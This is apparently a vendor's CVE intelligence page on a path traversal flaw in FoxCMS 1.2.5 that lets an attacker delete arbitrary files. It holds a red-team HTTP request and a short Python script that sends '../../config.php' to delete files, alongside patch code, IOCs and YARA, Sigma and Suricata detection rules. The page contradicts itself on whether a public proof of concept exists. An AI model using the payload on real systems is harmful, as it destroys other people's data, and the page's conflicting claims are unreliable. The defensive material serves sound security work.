☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-45238

CVE-2025-45238 Path Traversal in Foxcms
📅 PUBLISHED: 2025-05-05 00:00 UTC 🔄 UPDATED: 2026-08-21 19:32 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.94%
👁️
1.94% probability
48.5× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1561.002
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 1.2.5
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-45238 identifies an arbitrary file deletion vulnerability in FoxCMS version 1.2.5. The flaw resides in the delRestoreSerie method, which fails to properly sanitize user-supplied input, allowing an attacker to delete arbitrary files on the server. This can lead to denial of service, data loss, or further exploitation by removing critical system files. No public proof-of-concept (PoC) or patch is currently available, and the CVSS score is listed as 0.0, indicating incomplete scoring data. The vulnerability is classified under CWE-22 (Path Traversal) and aligns with MITRE ATT&CK tactic T1561.002 (Disk Wipe).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (Unscored)
  • Attack Vector (AV): Network (likely)
  • Attack Complexity (AC): Low (likely)
  • Privileges Required (PR): Low (likely)
  • User Interaction (UI): None (likely)
  • Scope (S): Unchanged (likely)
  • Confidentiality (C): None (likely)
  • Integrity (I): High (likely)
  • Availability (A): High (likely)

Given the ability to delete arbitrary files, the threat level is High despite the lack of a formal CVSS score. An attacker could remove configuration files, logs, or even application binaries, leading to service disruption or data loss.

Deep Dive & Mechanics

The vulnerability exists in the delRestoreSerie method of FoxCMS 1.2.5. This method is likely used to delete backup or restore series files. The flaw arises from insufficient input validation, allowing an attacker to supply a path traversal sequence (e.g., ../) to escape the intended directory and delete files elsewhere on the filesystem.

Attack Flow:

  1. The attacker identifies the endpoint that calls delRestoreSerie (e.g., /admin/restore/delRestoreSerie).
  2. The attacker sends a request with a crafted filename parameter containing path traversal characters, such as ../../config.php.
  3. The application does not sanitize the input, so the file deletion function processes the path and deletes the target file.

Impact:

  • Deletion of critical application files (e.g., config.php, .htaccess).
  • Deletion of system files (e.g., /etc/passwd, /var/log/auth.log) if the web server has sufficient permissions.
  • Potential for privilege escalation if the attacker deletes authentication-related files.

Vulnerable vs. Patched Code

Vulnerable Code (FoxCMS 1.2.5):

public function delRestoreSerie() {
    $filename = $_POST['filename'];
    // No sanitization or path validation
    unlink($filename);
}

Patched Code (Hypothetical):

public function delRestoreSerie() {
    $filename = basename($_POST['filename']); // Strip path components
    $allowedDir = '/path/to/restore/directory/';
    $fullPath = $allowedDir . $filename;
    if (file_exists($fullPath) && strpos(realpath($fullPath), realpath($allowedDir)) === 0) {
        unlink($fullPath);
    } else {
        // Log error or return false
    }
}

The patched version uses basename() to remove directory traversal sequences and validates that the resolved path is within the allowed directory.

Exploitation & Lab Setup

Red Team

Lab Setup:

  • Install FoxCMS 1.2.5 on a local server (e.g., XAMPP or Docker).
  • Ensure the web server has write permissions to the target directory.

Exploitation Steps:

  1. Identify the vulnerable endpoint: POST /admin/restore/delRestoreSerie
  2. Craft a request to delete a test file (e.g., test.txt in the web root):
    POST /admin/restore/delRestoreSerie HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 30
    
    filename=../../test.txt
    
  3. Verify deletion by checking if the file is removed.

Automated Exploit (Python):

import requests

target = "http://target.com/admin/restore/delRestoreSerie"
payload = {"filename": "../../config.php"}
response = requests.post(target, data=payload)
if response.status_code == 200:
    print("File deleted successfully")
else:
    print("Exploit failed")

Blue Team

Detection:

  • Monitor for POST requests to /admin/restore/delRestoreSerie with suspicious filename parameters containing ../ or ..\\.
  • Alert on file deletion events in the application logs.

Mitigation:

  • Apply input validation and sanitization as shown in the patched code.
  • Restrict web server permissions to prevent deletion of critical files.
  • Implement a Web Application Firewall (WAF) rule to block path traversal patterns.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /admin/restore/delRestoreSerie with filename containing ../ or ..\\.
    • Unusual file deletion events in server logs (e.g., unlink() calls).
  • File System:
    • Missing critical files (e.g., config.php, .htaccess, index.php).
    • Presence of backup files in unexpected locations.
  • Logs:
    • Application logs showing unlink() calls with path traversal strings.
    • Web server access logs with filename=../../ patterns.

Detection Engineering

YARA Rule

rule CVE_2025_45238_File_Deletion {
    meta:
        description = "Detects attempts to exploit CVE-2025-45238 via path traversal in FoxCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-45238"
    strings:
        $path_traversal = /\.\.\/|\.\.\\/
        $method = "delRestoreSerie"
    condition:
        $method and $path_traversal
}

Sigma Rule

title: FoxCMS Arbitrary File Deletion via delRestoreSerie
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to FoxCMS delRestoreSerie with path traversal patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'delRestoreSerie'
        cs-uri-query|contains: 'filename='
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate backup file operations (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-45238 FoxCMS Arbitrary File Deletion"; flow:to_server,established; content:"POST"; http_method; content:"delRestoreSerie"; http_uri; content:"filename"; http_client_body; pcre:"/\.\.\//"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Actions:

    • Disable the delRestoreSerie endpoint if not required.
    • Apply input validation to sanitize the filename parameter (use basename() and path canonicalization).
    • Restrict web server user permissions to prevent deletion of critical system files.
  2. Long-term Fix:

    • Upgrade to a patched version of FoxCMS once available.
    • Implement a whitelist of allowed files for deletion.
    • Conduct a security audit of the entire application for similar vulnerabilities.
  3. Monitoring:

    • Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
    • Enable detailed logging for file deletion operations.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

foxcms
foxcms v1.2.5

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-45238/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.